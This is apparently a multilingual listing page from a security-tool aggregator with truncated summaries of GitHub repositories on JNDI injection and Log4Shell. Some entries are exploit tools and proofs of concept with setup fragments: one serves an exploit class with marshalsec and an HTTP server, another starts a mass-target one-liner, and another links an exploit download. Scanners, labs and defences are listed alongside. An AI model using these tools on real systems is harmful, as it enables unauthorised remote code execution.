CVE-2020-10673

Описание уязвимости Недавно лаборатория кибербезопасности AsiaInfo AsiaInfo Security Network Attack and Defense Lab отследила обновление класса черного списка JNDI-инъекций в jackson-databind. Если в проекте присутствует JAR-пакет этого класса и версия JDK удовлетворяет условиям для инъекции, то ...

Log4J_0day_RCE

Присоединиться к сообществу Telegram CVE-2021-44228 Apache Log4j удалённое выполнение кода） Затронутые версии вы можете использовать JNDI-Injection-Exploit для эксплуатации. Обход rc1 Например: root@kitploit:...

log4j2-test

Уязвимость удаленного выполнения кода Log4j2 2.14.1 LDAP CVE-2021-44228 - проверка 🎈 Тестировалось в среде Spring Boot 2.x Уведомление об уязвимости https://nvd.nist.gov/vuln/detail/CVE-2021-44228 target-server pom.xml : Версия Log4j2 понижена до уязвимой версии root@kitploit: 17 2.14.1...

weblogic_CVE-2023-21931_POC-EXP

POC&EXP для CVE-2023-21931 Статья с анализом CVE-2023-21931 JNDI-Injection-Exploit Описание Перед запуском PoC-скрипта рекомендуется добавить следующие JAR-файлы в качестве библиотечных зависимостей: root@kitploit: coherence\lib oraclecommon\lib oraclecommon\modules wlserver\modules POC&EXP...

CVE-2024-21182---Oracle-WebLogic-Server-JNDI-Injection-RCE

CVE-2024-21182 - Инъекция JNDI в Oracle WebLogic Server → RCE CVE-2024-21182 - Инъекция JNDI в Oracle WebLogic Server → RCE -orange 📋 Описание CVE-2024-21182 — это неаутентифицированная уязвимость внедрения JNDI, которая затрагивает компонент Core Oracle WebLogic Server. Она позволяет удаленному...

log4jcheck

Проверщик Log4j CVE-2021-44228 Многопоточная проверка списка URL-адресов с помощью POST и GET запросов в комбинации с параметрами. Сильно вдохновлена версией NortwaveSecurity. Настройка URL-адреса для проверки Список URL-адресов для проверки должен быть в следующем формате csv: root@kitploit:...

log4shell-docker-lab

Docker-лаборатория Log4Shell для CVE-2021-44228 Компоненты Эта Docker-лаборатория использует три компонента: Уязвимое приложение на spring-boot HTTP-сервер, размещающий .class -файлы, используемые для удалённого выполнения кода LDAP-сервер рефералов, который перенаправляет определённые LDAP-запро...

Log4j-Exploit-CVE-2021-44228

Log4j-Exploit-CVE-2021-44228 Инструмент тестирования уязвимости Log4Shell https://log4shell.tools/ Эксплойт с уже включенным java, чтобы избежать создания учетной записи и т.д.. root@kitploit: http://www.mediafire.com/file/bs1spnysc6fbz1a/log4j-shell-poc%25281%2529.zip/file root@kitploit: pip...

CVE-2021-44228_scanner-main-Modified-

CVE-2021-44228scanner изменённая версия - устаревшая Оригинальный скрипт и репозиторий: https://github.com/CERTCC/CVE-2021-44228scanner Изменено: Алекс Пена Alex Pena Приложения, уязвимые для проблемы log4j CVE-2021-44228, могут быть обнаружены путём сканирования jar-, war- и ear-файлов на наличи...

apache-tomcat-log4j

Apache Tomcat における Log4j2 CVE-2021-44228 脆弱性 POC プレビュー セットアップ Tomcat サーバーの起動 root@kitploit: git clone cd apache-tomcat-10.0.14/bin startup.bat エクスプロイトクラスの配信 root@kitploit: cd exploit py -m http.server 8888 root@kitploit: cd exploit java -cp marshalsec-0.0.3-SNAPSHOT-all.jar...

JNDI-Injection-Exploit-Plus

JNDI-Injection-Exploit-Plus 中文 README Описание JNDI-Injection-Exploit-Plus — это инструмент для генерации рабочих JNDI-ссылок и предоставления фоновых сервисов путём запуска RMI-сервера, LDAP-сервера и HTTP-сервера. С помощью этого инструмента вы можете получить JNDI-ссылки и вставить их в свой P...

CVE-2021-44228-PoC

CVE-2021-44228 Log4Shell 개념 증명 Apache Log4j2 =2.14.1의 설정, 로그 메시지 및 매개변수에 사용되는 JNDI 기능은 공격자가 제어하는 LDAP 및 기타 JNDI 관련 엔드포인트로부터 보호하지 않습니다. 메시지 조회 대체가 활성화된 경우 로그 메시지 또는 로그 메시지 매개변수를 제어할 수 있는 공격자는 LDAP 서버에서 로드된 임의 코드를 실행할 수 있습니다. 고객이 이 취약점의 작동 방식을 이해할 수 있도록 간단하면서도 작동하는 개념 증명을 포함한 이 리포지토리를 준비했습니다. 사전 요구...

log4j-vul

log4j-vul 本项目仅用于演示 Apache Log4j2 漏洞，即 CVE-2021-44228。 Java: java version "1.8.0121" 编译： （在 src 文件夹内） javac -classpath .;..\lib\log4j-api-2.1.jar;..\lib\log4j-core-2.1.jar com\example\Log4jVul.java 执行/运行： （在 src 文件夹内） java -classpath .;..\lib\log4j-api-2.1.jar;..\lib\log4j-core-2.1.jar...

Log4Shell-Payloads

🚨 Коллекция эксплойтов Log4Shell Подборка эксплойтов Log4Shell / Log4J , нацеленных на: CVE-2021-45046 CVE-2022-42889 🔗 Автор: @nav1n0x 🔥 Эксплойты в одну строку ✅ Однострочник 1bash cat vulnerable-hosts.txt | sed 's/https?:////' | xargs -I echo...

cve-2021-44228

CVE-2021-44228 Этот репозиторий представляет собой упрощённую симуляцию известной проблемы CVE-2021-44228. Помимо поиска системных свойств и других структур-словарей, Apache Log4j также реализует функцию JNDI-запроса по различным причинам. JNDI может получать службы от нескольких поставщиков услу...

cloudrasp-log4j2

CloudArmor · Модуль самозащиты приложений во время выполнения — версия Log4j2 Китайский упрощённый Этот проект является локальной версией CloudArmor, специально созданной для защиты от Log4j2 CVE-2021-44228. Для работы этого проекта не требуется подключение к сети. Пожалуйста, ПРОВЕДИТЕ...

Log4Shell-vulnerability-CVE-2021-44228-

Обнаружение угроз Log4Shell CVE-2021-44228 Обзор Этот репозиторий предоставляет углубленный анализ и реализацию системы обнаружения угроз Log4Shell CVE-2021-44228 на основе машинного обучения. Он включает: Понимание Log4Shell : что это такое и чем опасно Сбор набора данных : источники и шаги...

log4shell-vulnerable-app

Log4Shell 샘플 취약 애플리케이션 CVE-2021-44228 - 두 번 수정됨 이 저장소는 CVE-2021-44228에 취약한 Spring Boot 웹 애플리케이션을 포함하며, Log4Shell이라는 별명으로 알려져 있습니다. Log4j 2.14.1spring-boot-starter-log4j2 2.6.1을 통해과 JDK 1.8.0181을 사용합니다. 애플리케이션 실행 다음과 같이 실행합니다: root@kitploit: docker run --name vulnerable-app --rm -p 8080:8080...

dubbo-CVE-2023-23638

CVE-2023-23638 학습 및 연구 목적으로만 사용 ZooKeeper는 직접 준비 테스트 환경은 Java 8이며, 다른 버전은 아직 테스트하지 않았으므로 작동을 보장할 수 없음 재현 시 DemoComsumer에 VM 매개변수를 추가해야 함: -Ddubbo.hessian.allowNonSerializable=true, 자세한 내용은 https://su18.org/post/hessian/serializable 참조 분석 글:...

spring-boot-log4j-cve-2021-44228-docker-lab

Spring Boot Log4j - CVE-2021-44228 Log4Shell 脆弱性 CVE-2021-44228 は、最終的には非常に単純な JNDI インジェクションの欠陥ですが、非常に非常に悪い場所にあります。Log4J は、ログメッセージ内のプレースホルダーを展開する際（またはフォーマットメッセージのパラメーターとして間接的に）JNDI lookup を実行します。...続きを読む PSA: Log4Shell と JNDI インジェクションの現状。 Dockerラボのセットアップ 注: この Dockerfile は元々 Log4Shell sample...